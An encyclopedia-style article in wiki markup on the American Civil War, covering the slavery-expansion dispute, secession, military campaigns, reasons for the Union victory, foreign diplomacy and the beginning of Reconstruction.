The specific political crisis that culminated in secession and civil war stemmed from a dispute over the expansion of slavery into new territories. The reason was that Congress had power over slavery in the territories, but not in the states.  With new territories being formed--especially Kansas--the issue of slaver had to be confronted.  This argument grew out of the acquisition of vast new lands during the [[Mexican War]] (1846&amp;ndash;48). Free-state politicians such as David Wilmot, who personally had no sympathy for abolitionism, feared that slaves would provide too much competition for free labor, and thus effectively keep free-state migrants out of newly opened territories. Slaveholders felt that any ban on slaves in the territories was a discrimination against their peculiar form of property, and would undercut both the financial value of slaves and the institution itself. (Slaves comprised the second most valuable form of property in the South, after real estate.) In Congress, the end of the Mexican War was overshadowed by a fight over the [[Wilmot Proviso]], a provision that Wilmot tried (and failed) to enact to bar slavery from all lands acquired in the conflict.

The dispute led to open warfare after the [[Kansas]] Territory was organized in the [[Kansas-Nebraska Act]] of 1854. This act repealed the prohibition on slavery there under the Missouri Compromise of 1820, and put the fate of slavery in the hands of the territory's settlers, a process known as &quot;popular sovereignty.&quot; Proslavery Missourians expected that Kansas, due west of their state, would naturally become a slave state, and were alarmed by an organized migration of antislavery New Englanders. Soon heavily armed &quot;border ruffians&quot; from Missouri battled antislavery forces under [[John Brown]], among other leaders. Hundreds were killed or wounded. Southern congressmen, perceiving a Northern conspiracy to keep slavery out of Kansas, insisted that it be admitted as a slave state. Northerners, pointing to the large and growing majority of antislavery voters there, denounced this effort. By 1860, sectional divisions had grown deep and bitter.
[[Image:Lincolnhead.jpg|frame|left|'''[[Abraham Lincoln]]'''&lt;br&gt;16th President (1861&amp;ndash;1865)]]

===Southern fears of Modernity===
Southern secession was triggered by the election of Republican [[Abraham Lincoln]] because it was feared that he would make good on his promise to stop the expansion of slavery and put it on a course toward extinction.  If not Lincoln, then sooner or later another Yankee, many Southerners said; it was time to quit the Union. The slave states had lost the balance of power in the Electoral College and the Senate, and were facing a future as a perpetual minority. In a broader sense the North was rapidly modernizing its economy and its world view; slavery had no role in modern America. Historian James McPherson (1983 p 283) explains:

{{Quotation|When secessionists protested in 1861 that they were acting to preserve traditional rights and values, they were correct. They fought to preserve their constitutional liberties against the perceived Northern threat to overthrow them. The South's concept of republicanism had not changed in three-quarters of a century; the North's had. ... The ascension to power of the Republican Party, with its ideology of competitive, egalitarian free-labor capitalism, was a signal to the South that the Northern majority had turned irrevocably towards this frightening, revolutionary future.|James McPherson|&quot;Antebellum Southern Exceptionalism: A New Look at an Old Question,&quot; Civil War History 29 (Sept. 1983)}}

===Secession===
Before Lincoln took office, seven states seceded from the Union, and established an independent Southern government, the [[Confederate States of America]] on [[February 9]], [[1861]]. They took control of federal forts and property within their boundaries, with little resistance from President Buchanan. By seceding, the rebel states gave up any claim to the Western territories that were in dispute, canceled any obligation for the North to return fugitive slaves to the Confederacy, and assured easy passage in Congress of many bills and amendments they had long opposed. 

The Civil War began when, under orders from [[President of the Confederate States | Confederate President]] [[Jefferson Davis]], Confederate General [[P.G.T. Beauregard]] opened fire upon [[Fort Sumter]] in [[Charleston, South Carolina]], on [[April 12]], [[1861]]. There were no casualties from enemy fire in this battle.

==Division of the country==
===The Union States ===	 
{{main|Union (American Civil War)}}	 
There were 23 Union States: [[California]], [[Connecticut]], [[Delaware]], [[Illinois]], [[Indiana]], [[Iowa]], [[Kansas]], [[Kentucky]], [[Maine]], [[Maryland]], [[Massachusetts]], [[Michigan]], [[Minnesota]], [[Missouri]], [[New Hampshire]], [[New Jersey]], [[New York]], [[Ohio]], [[Oregon]], [[Pennsylvania]], [[Rhode Island]], [[Vermont]], and [[Wisconsin]]. The Union counted [[Virginia]] as well, and added [[Nevada]] and [[West Virginia]]. It added [[Tennessee]], [[Louisiana]], and other rebel states as soon as they were reconquered.	 
		 
The territories of [[Colorado Territory|Colorado]], [[Dakota Territory|Dakota]], [[Nebraska Territory|Nebraska]], [[Nevada Territory|Nevada]], [[New Mexico Territory|New Mexico]], [[Utah Territory|Utah]], and [[Washington Territory|Washington]] also fought on the Union side. There was a civil war inside the [[Oklahoma territory]].

===The Confederacy===
{{main|Confederate States of America}}

Seven states seceded by March 1861: 
*[[South Carolina]] ([[December 21]] [[1860]]),
*[[Mississippi]] ([[January 9]] [[1861]]),
*[[Florida]] ([[January 10]] [[1861]]),
*[[Alabama]] ([[January 11]] [[1861]]),
*[[Georgia (U.S. state)|Georgia]] ([[January 19]] [[1861]]),
*[[Louisiana]] ([[January 26]] [[1861]]),
*[[Texas]] ([[February 1]] [[1861]]).

These states of the [[Deep South]], where [[slavery]] and [[cotton]] were most dominant, formed the Confederate States of America ([[February 4]] [[1861]]), with [[Jefferson Davis]] as president, and a governmental structure closely modeled on the [[U.S. Constitution]] ''(see also: [[Confederate States Constitution]])''. 
[[Image:Civilwarmap2.jpg|250px|thumb|right|Map of the division of the states during the Civil War. Blue represents Union states; light blue, Union states that permitted [[Slavery in Colonial America|slavery]]; gray, Confederate states; green, Territories.]]
After the surrender of [[Fort Sumter]], [[April 13]], [[1861]], Lincoln called for troops from all states to put down the insurrection, resulting in the secession of four more states: 

*[[Virginia]] ([[April 17]] [[1861]]), 
*[[Arkansas]] ([[May 6]] [[1861]]), 
*[[North Carolina]] ([[May 20]] [[1861]]), and 
*[[Tennessee]] ([[June 8]] [[1861]]).

===Border states===
''Main article: [[Border states (Civil War)]]''

Along with the northwestern portion of Virginia (whose residents did not wish to secede and eventually entered the Union in 1863 as [[West Virginia]]), four of the five northernmost &quot;[[slave state]]s&quot; ([[Maryland]], [[Delaware]], [[Missouri]], and [[Kentucky]]) did not secede, and became known as the [[Border States (Civil War)|Border States]]. There was considerable anti-war or &quot;[[Copperhead]]&quot; sentiment in the southern parts of Ohio, Indiana, and Illinois, and some men volunteered for Confederate service; however much larger numbers, led by [[John A. Logan]], joined the Union army.

[[Maryland]] had numerous pro-Confederate officials, but after [[Baltimore riot of 1861|rioting in Baltimore]] and other events had prompted a Federal declaration of [[martial law]], Union troops moved in, and arrested the pro-Confederates.  Both [[Missouri]] and [[Kentucky]] remained in the Union, but factions within each state organized governments in exile that were recognized by the CSA.

In Missouri, an elected convention on secession voted decisively to remain within the Union. However, pro-Southern Governor [[Claiborne F. Jackson]] called out the state militia, which was attacked in St. Louis by federal forces under General [[Nathaniel Lyon]], who chased the governor and the rest of the State Guard to the southwestern corner of the state. (''See also: [[Missouri secession]]'').

[[Image:Map of CSA 3.png|thumb|300px|Map of territory claimed by the Confederacy]]

Although Kentucky did not secede, for a time it declared itself [[neutral]]. During a brief invasion by Confederate forces, Southern sympathizers organized a secession convention, inaugurated a Confederate Governor, and gained recognition from the Confederacy. However, the military occupation of [[Columbus, Kentucky | Columbus]] by Confederate General [[Leonidas Polk]] in September 1861 turned general popular opinion in Kentucky against the Confederacy, and the state subsequently reaffirmed its loyal status and expelled the Confederate government. 

Residents of the northwestern counties of Virginia organized a secession from Virginia and entered the Union in 1863 as [[West Virginia]]. Similar secessions were supported in some other areas of the Confederacy (such as eastern [[Tennessee]]), but were suppressed by declarations of martial law by the Confederacy. 
&lt;!-- California not unique in having split sentiments
[[History of California#California and the Civil War|California]] was a [[free state]] and a part of the Union. Lincoln had won a [[plurality]] there, but there were a number of Southern sympathizers. 2% of its votes went to the Southern Democrat candidate, [[John C. Breckinridge]]. California's soldiers were kept under state control and were used to keep the land routes between the Mississippi and the state open. California gold helped finance the Union war effort.[http://www.militarymuseum.org/HistoryCW.html]
--&gt;

==Narrative summary: 1861 to Fort Sumter==
[[Image:American Civil War Battles by Theater, Year.png|thumb|right|350px|Battles of the American Civil War by Theater, Year]]
Lincoln's victory in the [[U.S. presidential election, 1860|presidential election of 1860]] triggered South Carolina's secession from the Union. By [[February 1]], [[1861]], six more Southern states had seceded. On [[February 7]], the seven states adopted a provisional constitution for the Confederate States of America and established their capital at [[Montgomery, Alabama]]. The pre-war February [[peace conference of 1861]] met in Washington, as one last attempt to avoid war; it failed. The remaining southern states as yet remained in the Union. Confederate forces seized all but three federal forts within their boundaries (they did not take Fort Sumter); President Buchanan made no military response, but governors in Massachusetts, New York and Pennsylvania began secretly buying weapons and training militia units to ready them for immediate action.

On [[March 4]], [[1861]], Abraham Lincoln was sworn in. In his [[Inauguration|inaugural address]], he argued that the Constitution was a ''more perfect union'' than the earlier [[Articles of Confederation|Articles of Confederation and Perpetual Union]], that it was a binding contract, and called the secession &quot;legally void&quot;. He stated he had no intent to invade southern states, but would use force to maintain possession of federal property. His speech closed with a plea for restoration of the bonds of union. The South did send delegations to Washington and offered to pay for the federal properties, but they were turned down. Lincoln refused to negotiate with any Confederate agents because he insisted the Confederacy was not a legitimate government. 

On [[April 12]], Confederate soldiers fired upon the Federal troops stationed at [[Fort Sumter]] in [[Charleston, South Carolina]], until the troops surrendered. Lincoln called for all of the states in the Union to send troops to recapture the forts and preserve the Union. Most Northerners hoped that a quick victory for the Union would crush the nascent rebellion, and so Lincoln only called for volunteers for 90 days. Four states, Tennessee, Arkansas, North Carolina, and&amp;mdash;most importantly, Virginia&amp;mdash;which had repeatedly rejected Confederate overtures now decided that they could not send forces against the seceding states. They seceded and to reward Virginia the Confederate capital was moved to [[Richmond, Virginia]], a highly vulnerable location at the end of the supply line.

Even though the Southern states had seceded, there was considerable anti-secessionist sentiment within several of the seceding states. Eastern Tennessee, in particular, was a hotbed for pro-Unionism. [[Winston County, Alabama]] issued a resolution of secession from the state of Alabama. The ''[[Red Strings (American politics)|Red Strings]]'' were a prominent Southern anti-secession group.

[[Winfield Scott]] created the [[Anaconda Plan]] to win the war with as little bloodshed as possible. His idea was that a [[Union blockade]] would strangle the rebel economy, then capture of the Mississippi would split the South. Lincoln adopted the plan but overruled  Scott's warnings against an immediate attack on Richmond.

===Naval war and blockade===
{{see details|Naval Battles of the American Civil War}}[[Union blockade]] and [[Confederate States Navy]]
In May 1861 Lincoln proclaimed the [[Union blockade]] of all southern ports, which shut down nearly all international traffic and most local port-to-port traffic. Although few naval battles were fought and few men were killed, the blockade shut down [[King Cotton]] and ruined the southern economy.  British investors built small, very fast &quot;blockade runners&quot; that brought in military supplies (and civilian luxuries) from Cuba and the Bahamas and took out some cotton and tobacco. When the blockade captured one the ship and cargo were sold and the proceeds given to the Union sailors. The crews were British, so when they were captured they were released and not held as prisoners of war. The most famous naval battle was the [[Battle of Hampton Roads]] (often called &quot;the Battle of the ''Monitor'' and the ''Merrimac''&quot;) in March 1862, in which Confederate efforts to break the blockade were frustrated. Other naval battles included [[Battle of Island Number Ten | Island No. 10]], [[Battle of Memphis | Memphis]], [[Battle of Drewry's Bluff | Drewry's Bluff]], [[Battle of Fort Hindman | Arkansas Post]], and [[Battle of Mobile Bay | Mobile Bay]].

===Eastern Theater 1861&amp;ndash;1863===
{{see details|Eastern Theater of the American Civil War}}
Because of the fierce resistance of a few initial Confederate forces at [[Manassas, Virginia]], in July 1861, a march by Union troops under the command of Maj. Gen. [[Irvin McDowell]] on the Confederate forces there was halted in the [[First Battle of Bull Run]], or ''First Manassas'', whereupon they were forced back to [[Washington, D.C.]], by Confederate troops under the command of Generals [[Joseph E. Johnston]] and P.G.T. Beauregard. It was in this battle that Confederate General [[Stonewall Jackson|Thomas Jackson]] received the name of &quot;Stonewall&quot; because he stood like a stone wall against Union troops. Alarmed at the loss, and in an attempt to prevent more slave states from leaving the Union, the [[Congress of the United States|U.S. Congress]] passed the [[Crittenden-Johnson Resolution]] on [[July 25]] of that year, which stated that the war was being fought to preserve the Union and not to end [[slavery]].

Major General [[George B. McClellan]] took command of the Union [[Army of the Potomac]] on [[July 26]] (he was briefly general-in-chief of all the Union armies, but was subsequently relieved of that post in favor of Maj. Gen. [[Henry W. Halleck]]), and the war began in earnest in [[1862]].

Upon the strong urging of President Lincoln to begin offensive operations, McClellan invaded Virginia in the spring of 1862 by way of the [[Virginia Peninsula|peninsula]] between the [[York River (Virginia)|York River]] and [[James River (Virginia)|James River]], southeast of Richmond. Although McClellan's army reached the gates of Richmond in the [[Peninsula Campaign]], [[Joseph E. Johnston]] halted his advance at the [[Battle of Seven Pines]], then [[Robert E. Lee]] defeated him in the [[Seven Days Battles]] and forced his retreat. McClellan was stripped of many of his troops to reinforce [[John Pope (military officer)|John Pope]]'s Union [[Army of Virginia]]. Pope was beaten spectacularly by Lee in the [[Northern Virginia Campaign]] and the [[Second Battle of Bull Run]] in August.

[[Image:conf_dead_chancellorsville.jpg|thumb|300px|Confederate dead behind the stone wall of Marye's Heights, Fredericksburg, Virginia, killed during the Battle of Chancellorsville, May 1863.]]

Emboldened by Second Bull Run, the Confederacy made its first invasion of the North, when General Lee led 55,000 men of the [[Army of Northern Virginia]] across the [[Potomac River]] into [[Maryland]] on [[September 5]]. Lincoln then restored Pope's troops to McClellan. McClellan and Lee fought at the [[Battle of Antietam]] near [[Sharpsburg, Maryland]], on [[September 17]] [[1862]], the bloodiest single day in American history. Lee's army, checked at last, returned to Virginia before McClellan could destroy it. Antietam is considered a Union victory because it halted Lee's invasion of the North and provided justification for Lincoln to announce his [[Emancipation Proclamation]].

When the cautious McClellan failed to follow up on Antietam, he was replaced by Maj. Gen. [[Ambrose Burnside]]. Burnside suffered near-immediate defeat at the [[Battle of Fredericksburg]] on [[December 13]] [[1862]], when over ten thousand Union soldiers were killed or wounded. After the battle, Burnside was replaced by Maj. Gen. [[Joseph Hooker|Joseph &quot;Fighting Joe&quot; Hooker]]. Hooker, too, proved unable to defeat Lee's army; despite outnumbering the Confederates by more than two to one, he was humiliated in the [[Battle of Chancellorsville]] in May 1863. He was replaced by Maj. Gen. [[George G. Meade]] during Lee's second invasion of the North, in June. Meade defeated Lee at the [[Battle of Gettysburg]] ([[July 1]]&amp;ndash;[[July 3|3]], [[1863]]), the largest battle in North American history, which is sometimes considered the war's [[Turning point of the American Civil War|turning point]]. Lee's army suffered 28,000 casualties (versus Meade's 23,000), again forcing it to retreat to Virginia, never to launch a full-scale invasion of the North again. Lincoln was angry that Meade failed to intercept Lee's retreat, and decided to turn to the Western Theater for new leadership.

On the use of balloons, see [[Aerial warfare]] section on the American Civil War.

===Western Theater 1861&amp;ndash;1863===
{{see details|Western Theater of the American Civil War}}
While the Confederate forces had numerous successes in the Eastern theater, they crucially failed in the West. They were driven from Missouri early in the war as result of the [[Battle of Pea Ridge]]. [[Leonidas Polk]]'s invasion of [[Kentucky]] enraged the citizens there who previously had declared neutrality in the war, turning that state against the Confederacy.

[[Nashville, Tennessee]], fell to the Union early in 1862. Most of the [[Mississippi River|Mississippi]] was opened with the taking of [[Battle of Island Number Ten|Island No. 10]] and [[New Madrid, Missouri]], and then [[Memphis, Tennessee]]. [[New Orleans, Louisiana]], was captured in May 1862, allowing the Union forces to begin moving up the Mississippi as well. Only the fortress city of [[Vicksburg, Mississippi]], prevented unchallenged Union control of the entire river.

[[Braxton Bragg]]'s second Confederate invasion of Kentucky was repulsed by [[Don Carlos Buell]] at the confused and bloody [[Battle of Perryville]] and he was narrowly defeated by [[William S. Rosecrans]] at the [[Battle of Stones River]] in [[Tennessee]].

The one clear Confederate victory in the West was the [[Battle of Chickamauga]] in [[Georgia (U.S. state)|Georgia]], near the [[Tennessee]] border, where Bragg, reinforced by the corps of [[James Longstreet]] (from Lee's army in the east), defeated Rosecrans, despite the heroic defensive stand of [[George Henry Thomas]], and forced him to retreat to [[Chattanooga, Tennessee|Chattanooga]], which Bragg then besieged.

The Union's key strategist and tactician in the west was Maj. Gen. [[Ulysses S. Grant]], who won victories at: Forts [[Battle of Fort Henry|Henry]] and [[Battle of Fort Donelson|Donelson]], by which the Union seized control of the [[Tennessee River |Tennessee]] and [[Cumberland River|Cumberland]] Rivers; [[Battle of Shiloh|Shiloh]]; the [[Battle of Vicksburg]], cementing Union control of the Mississippi River and considered one of the [[Turning point of the American Civil War |turning points]] of the war; and the  [[Battle of Chattanooga III|Battle of Chattanooga, Tennessee]], driving Confederate forces out of Tennessee and opening an invasion route to [[Atlanta, Georgia |Atlanta]] and the heart of the Confederacy.

===Trans-Mississippi Theater 1861&amp;ndash;1865===
{{see details| Trans-Mississippi Theater of the American Civil War}}
Though geographically isolated from the battles to the east, a number of small-scale military actions took place west of the Mississippi River. Confederate incursions into Arizona and New Mexico were repulsed in 1862. Guerilla activity turned much of Missouri and Indian Territory (Oklahoma) into a battleground. Late in the war the Federal [[Red River Campaign]] was a failure. Texas remained in Confederate hands throughout the war, but was cut off after the capture of [[Vicksburg]] in 1863 gave the Union control of the Mississippi River.

===End of the War 1864&amp;ndash;1865===
[[Image:President-Jefferson-Davis.jpg|thumb|left|[[Jefferson Davis]], first and only President of the Confederate States of America]]

At the beginning of 1864, Lincoln made Grant commander of all Union armies. Grant made his headquarters with the Army of the Potomac, and put Maj. Gen. [[William Tecumseh Sherman]] in command of most of the western armies. Grant understood the concept of [[total war]] and believed, along with Lincoln and Sherman, that only the utter defeat of Confederate forces and their economic base would bring an end to the war.  He devised a coordinated strategy that would strike at the heart of Confederacy from multiple directions: Generals Grant, Meade, and [[Benjamin Franklin Butler (politician)|Benjamin Butler]] would move against Lee near Richmond; General [[Franz Sigel]] (and later [[Philip Sheridan]]) would [[Valley Campaigns of 1864|invade the Shenandoah Valley]]; General Sherman would and capture [[Atlanta]] and march to the sea; Generals [[George Crook]] and [[William W. Averell]] would operate against railroad supply lines in [[West Virginia]]; and General [[Nathaniel Prentiss Banks|Nathaniel Banks]] would capture [[Mobile, Alabama]].

Union forces in the East attempted to maneuver past Lee and fought several battles during that phase (&quot;Grant's [[Overland Campaign]]&quot;) of the Eastern campaign. An attempt to outflank Lee from the south failed under Butler, who was trapped inside the [[Bermuda Hundred Campaign | Bermuda Hundred]] river bend. Grant was tenacious and, despite astonishing losses (over 66,000 casualties in six weeks), kept pressing Lee's Army of Northern Virginia back to Richmond. He pinned down the Confederate army in the [[Siege of Petersburg]], where the two armies engaged in [[trench warfare]] for over nine months.

Grant finally found a commander, General [[Philip Sheridan]], aggressive enough to prevail in the [[Valley Campaigns of 1864]]. Sheridan proved to be more than a match for [[Jubal Anderson Early|Jubal Early]], and defeated him in a series of battles, including a final decisive defeat at [[Battle of Cedar Creek|Cedar Creek]], Sheridan then proceeded to destroy the agricultural base of the Valley, a strategy similar to the tactics Sherman would later employ in Georgia.

Meanwhile, Sherman marched from [[Chattanooga]] to Atlanta, defeating Confederate Generals [[Joseph E. Johnston]] and [[John B. Hood]]. The fall of Atlanta, on September 2, 1864, was a significant factor in the re-election of Abraham Lincoln, as President of the Union. Leaving Atlanta, and his base of supplies, Sherman's army marched with an unclear destination, laying waste to about 20% of the farms in Georgia in his celebrated &quot;[[Sherman's March to the Sea|March to the Sea]]&quot;, and reaching the [[Atlantic Ocean]] at [[Savannah, Georgia]] in December 1864. Burning plantations as they went, Sherman's army was followed by thousands of freed slaves.  When Sherman turned north through South Carolina and North Carolina to approach the Virginia lines from the south, it was the end for Lee and his men, and for the Confederacy.

Lee attempted to escape from the besieged Petersburg and link up with Johnston in [[North Carolina]], but he was overtaken by Grant. He surrendered his Army of Northern Virginia on [[April 9]], [[1865]], at [[Appomattox Court House]]. Johnston surrendered his troops to Sherman shortly thereafter at a [[Bennett Place|local family's farmhouse]] in [[Durham, North Carolina]]. The [[Battle of Palmito Ranch]], fought on [[May 13]], [[1865]], in the far south of [[Texas]], was the last Civil War land battle and ended, ironically, with a Confederate victory. All Confederate land forces surrendered by June 1865.

==Analysis of the outcome==
Why the Union prevailed (or why the Confederacy was defeated) in the Civil War has been a subject of extensive analysis and debate. 

Could the South have won? A significant number of scholars believe that the Union held an insurmountable advantage over the Confederacy in terms of industrial strength, population, and the determination to win. Confederate actions, they argue, could only delay defeat. Southern historian [[Shelby Foote]] expressed this view succinctly in Ken Burns's television series on the Civil War: &quot;I think that the North fought that war with one hand behind its back.... If there had been more Southern victories, and a lot more, the North simply would have brought that other hand out from behind its back. I don't think the South ever had a chance to win that War.&quot; [Ward 1990 p 272]

Other historians, however, suggest that the South had a chance to win its independence.  As James McPherson has observed, the Confederacy remained on the defensive, which required fewer military resources. The Union, committed to the strategic offensive, faced enormous manpower demands that it often had difficulty meeting.  War weariness among Union civilians mounted along with casualties, in the long years before Union advantages proved decisive. Thus, the inevitability of Union victory remains hotly contested among scholars.

The goals were not symmetric. To win independence the South had to convince the North it could not win, but it did not have to invade the North. To restore the Union the North had to conquer vast stretches of territory. In the short run (a matter of months) the two sides were evenly matched. But in the long run (a matter of years) the North had advantages that increasingly came into play.

Both sides had long-term advantages but the Union had more of them. The Union had to control the entire coastline, defeat all the main Confederate armies, seize Richmond, and control most of the population centers. As the occupying force they had to station hundreds of thousands of soldiers to control railroads, supply lines, and major towns and cites. The long-term advantages widely credited by historians to have contributed to the Union's success include:
[[Image:Advantages.jpg|right|350px|US economic advantages over CSA]]
*The more industrialized economy of the North, which aided in the production of arms, munitions and supplies, as well as finances, and transportation. The graph shows the relative advantage of the USA over the CSA.
*A [[Second Party System| party system]] that enabled the Republicans to mobilize soldiers and support at the grass roots, even when the war became unpopular. The Confederacy deliberately did not use parties.
*The Union population was 22 million and the South 9 million in 1861; the disparity grew as the Union controlled more and more southern territory with garrisons, and cut off the trans-Mississippi part of the Confederacy. 
*Excellent railroad links between Union cities, which allowed for the quick and cheap movement of troops and supplies. Transportation was much slower and more difficult in the South which was unable to augment its much smaller system or repair damage, or even perform routine maintenance. 
*The Union devoted much more of its resources to medical needs, thereby overcoming the unhealthy disease environment that sickened (and killed) more soldiers than combat did.
*The Union at the start controlled over 80% of the shipyards, steamships, river boats, and the Navy. It augmented these by a massive shipbuilding program. This enabled the Union to control the river systems and to blockade the entire southern coastline. 
*The Union's more established government, particularly a mature executive branch which accumulated even greater power during wartime, may have resulted in less regional infighting and a more streamlined conduct of the war. Failure of Davis to maintain positive and productive relationships with state governors damaged the Confederate president's ability to draw on regional resources.
*The Confederacy's tactic of engaging in major battles at the cost of heavy manpower losses, when it could not easily replace its losses.  
*The Confederacy's [http://www.findarticles.com/p/articles/mi_m0HZY/is_1_14/ai_78397581 failure] to fully use its advantages in guerrilla warfare against Union communication and transportation infrastructure.  However, as Lee warned, such warfare would prove devastating to the South, and (with the exception of Confederate partisans in Missouri) Confederate leaders shrank from it.
*Despite the Union's many tactical blunders like the [[Seven Days Battle]], those commited by Confederate generals, such as Lee's miscalculations at the [[Battle of Gettysburg]] and [[Battle of Antietam]], were far more serious&amp;mdash;if for no other reason than that the Confederates could so little afford the losses.  
*Lincoln proved more adept than Davis in replacing unsuccessful generals with better ones. 
*Strategically the location of the capital Richmond tied Lee to a highly exposed position at the end of supply lines. (Loss of Richmond, everyone realized, meant loss of the war.) 
*Lincoln grew as a grand strategist, in contrast to Davis. The Confederacy never developed an overall strategy. It never had a plan to deal with the blockade. Davis failed to respond in a coordinated fashion to serious threats, such as Grant's campaign against Vicksburg in 1863 (in the face of which, he allowed Lee to invade Pennsylvania).
*The Confederacy's failure to win diplomatic or military support from any foreign powers. Its [[King Cotton]] misperception of the world economy led to bad diplomacy, such as the refusal to ship cotton before the blockade started. 
* Most important, the Union had the will to win, and leaders like Lincoln, Seward, Stanton, Grant, and Sherman would do whatever it took to achieve victory. The Confederacy, as Beringer et al (1986) argue, may have lacked the total commitment needed to win. It took time, however, for leaders such as Grant, Sherman, and Sheridan to emerge; in the meantime, Union public opinion wavered, and Lincoln worried about losing the election of 1864, until victories in the Shenandoah Valley and Atlanta made victory seem likely.

==Major land battles==
There were as many as 10,000 hostile engagements during the war. The costliest and most significant are listed in [[Battles of the American Civil War]].

==Civil War leaders and soldiers==
[[Image:Lincoln and Davis Statue.jpg|thumb|right|250px|Statues of [[Abraham Lincoln]] and [[Jefferson Davis]] at [[Vicksburg National Military Park]].]]

One of the reasons that the U.S. Civil War wore on as long as it did and the battles were so fierce was that most important generals on both sides had formerly served in the [[United States Army]]&amp;mdash;some, including [[Ulysses S. Grant]] and [[Robert E. Lee]], during the [[Mexican-American War]] between 1846 and 1848. Most were graduates of the [[United States Military Academy]] at West Point.
Southern military commanders and strategists included [[Jefferson Davis]], [[Robert E. Lee]], [[Joseph E. Johnston]], [[Stonewall Jackson|Thomas J. &quot;Stonewall&quot; Jackson]], [[James Longstreet]], [[P.G.T. Beauregard]], [[John Mosby]], [[Braxton Bragg]], [[John Bell Hood]], [[JEB Stuart|James Ewell Brown (JEB) Stuart]], [[William Mahone]], [[Judah P. Benjamin]], [[Jubal Anderson Early|Jubal Early]], and [[Nathan Bedford Forrest]].

Northern military commanders and strategists included [[Abraham Lincoln]], [[Edwin M. Stanton]], [[Ulysses S. Grant]], [[William Tecumseh Sherman]], [[George H. Thomas]], [[George B. McClellan]], [[Henry W. Halleck]], [[Joseph Hooker]], [[Ambrose Burnside]], [[Irvin McDowell]], [[Winfield Scott]], [[Philip Sheridan]], [[George Crook]], [[George Armstrong Custer]], [[George G. Meade]], and [[Winfield Hancock]]

After 1980, scholarly attention turned to ordinary soldiers, and to women and African Americans involved with the War. As James McPherson observed &quot;The profound irony of the Civil War was that Confederate and Union soldiers ... interpreted the heritage of 1776 in opposite ways. Confederates fought for liberty and independence from what they regarded as a tyrannical government; Unionists fought to preserve the nation created by the founders from dismemberment and destruction.&quot;(McPherson 1994 p 24)

==The Question of Slavery==
Given the painfulness of the historical memory of slavery for many Americans, its role in the war remains controversial to this day. To understand its place in the conflict, it is necessary to divide the issue in two: slavery as a motivation for secession, and abolition as a Union war aim.

In the weeks and months preceding the secession of the Confederate states, Southern leaders spoke openly about their desire to preserve slavery, and their fears for the &quot;peculiar institution&quot; if the South remained within the Union. Almost all of the ordinances of secession cited the preservation of slavery as a primary, even the foremost, reason for departure from the Union. And yet many individual Southern soldiers fought for reasons quite apart from the defense of slavery: to protect their families and communities, to defend their home states, and out of a nascent sense of nationality. 

On the Union side, Lincoln initially declared his purpose in prosecuting the war to be the preservation of the Union, not emancipation. He had no wish to alienate the thousands of slaveholders in the Union border states. The long war, however, had a radicalizing effect on federal policies. With the [[Emancipation Proclamation]], announced in September 1862 and put into effect four months later, Lincoln adopted the abolition of the [[Slave Power]] as a second mission&amp;mdash;that is slaves owned by rebels had to be taken away from them and freed. One goal was to destroy the economic basis of the Confederate leadership class, and another goal was to actually liberate the 4 million slaves, which was accomplished by 1865.

The Emancipation Proclamation declared all slaves held in territory then under Confederate control  to be &quot;then, thenceforth, and forever free,&quot; but did not affect slaves in areas under Union control. It did, however, show the Union that slavery's days were numbered, increasing abolitionist support in the North. The border states (except Kentucky) abolished slavery on their own.

==Foreign diplomacy==
Because of the Confederacy's attempt to create a new state, recognition and support from the European powers were critical to its prospects. The Union, under [[United States Secretary of State|Secretary of State]] [[William Henry Seward]] attempted to block the Confederacy's efforts in this sphere. The Confederates hoped that the importance of the cotton trade to Europe (the idea of [[cotton diplomacy]]) and shortages caused by the war, along with early military victories, would enable them to gather increasing European support and force a turn away from neutrality.

President Lincoln's decision to announce a [[Union blockade|blockade of the Confederacy]], a clear act of war, enabled Britain, followed by other European powers, to announce their neutrality in the dispute. This enabled the Confederacy to begin to attempt to gain support and funds in Europe. President Jefferson Davis had picked [[Robert Toombs]] of [[Georgia (U.S. state)|Georgia]] as his first Secretary of State. Toombs, having little knowledge in foreign affairs, was replaced several months later by [[Robert M. T. Hunter]] of [[Virginia]], another choice with little suitability. Ultimately, on [[March 17]], [[1862]], Davis selected [[Judah P. Benjamin]] of [[Louisiana]] as Secretary of State, who although having more international knowledge and legal experience with international slavery disputes still failed in the end to create a dynamic foreign policy for the Confederacy.

The first attempts to achieve European recognition of the Confederacy were dispatched on [[February 25]], [[1861]] and led by [[William Lowndes Yancey]], [[Pierre A. Rost]], and [[Ambrose Dudley Mann]]. The British foreign minister [[Lord John Russell]] met with them, and the French foreign minister [[Edouard Thouvenel]] received the group unofficially. However, at this point, the two countries had agreed to coordinate and cooperate and would not make any rash moves.

[[Charles Francis Adams]] proved particularly adept as ambassador to Britain for the Union, and Britain was reluctant to boldly challenge the Union's blockade. The Confederacy also attempted to initiate propaganda in Europe through journalists [[Henry Hotze]] and [[Edwin De Leon]] in [[Paris]] and [[London]]. However, public opinion against slavery created a political liability for European politicians, especially in Britain. A significant challenge in Anglo-Union relations was also created by the [[Trent Affair]], involving the Union boarding of a British mail steamer to seize [[James M. Mason]] and [[John Slidell]], Confederate diplomats sent to Europe. However, the Union was able to smooth over the problem to some degree.

As the war continued, in late 1862, the British considered initiating an attempt to mediate the conflict. However, the Union victory in the [[Battle of Antietam]] caused them to delay this decision. Additionally, the issuing of the [[Emancipation Proclamation]] further reinforced the political liability of supporting the Confederacy. As the war continued, the Confederacy's chances with Britain grew more hopeless, and they focused increasingly on France. [[Napoléon III]] proposed to offer mediation in January 1863, but this was dismissed by Seward. Despite some sympathy for the Confederacy, France's own [[French intervention in Mexico|concerns in Mexico]] ultimately deterred them from substantially antagonizing the Union. As the Confederacy's situation grew more and more tenuous and their pleas increasingly ignored, President Davis sent [[Duncan F. Kenner]] to Europe, in November 1864, to test whether a promised Confederate emancipation of its slaves could lead to possible recognition. The proposal was strictly rejected by both Britain and France.

==Aftermath==
{{main|Reconstruction}}
[[Image:Peace_Monument_Chattanooga.jpg|thumb|right|The ''Peace Monument'' at [[Lookout Mountain]], [[Tennessee]] depicts a Union and Confederate soldier shaking hands.]]
Northern leaders agreed that the war would be over when Confederate nationalism was dead, and slavery was dead.  They disagreed sharply on how to identify these goals. They also disagreed on the degree of federal control that should be imposed on the South. 
The fighting ended with the surrender of all the Confederate forces. There was no significant guerrilla warfare.  Many senior Confederate leaders escaped to Europe, but Davis was captured and imprisoned, but never brought to trial. The question became how much the Union could trust the ex-Confederates to be truly loyal to the United States. The second main question in Reconstruction dealt with the destruction of slavery. The XIII Amendment (1865) officially abolished it legally, but the issue was whether [[black codes]] indicated a sort of semi-slavery, and whether Freedmen should have the vote to protect those rights. 
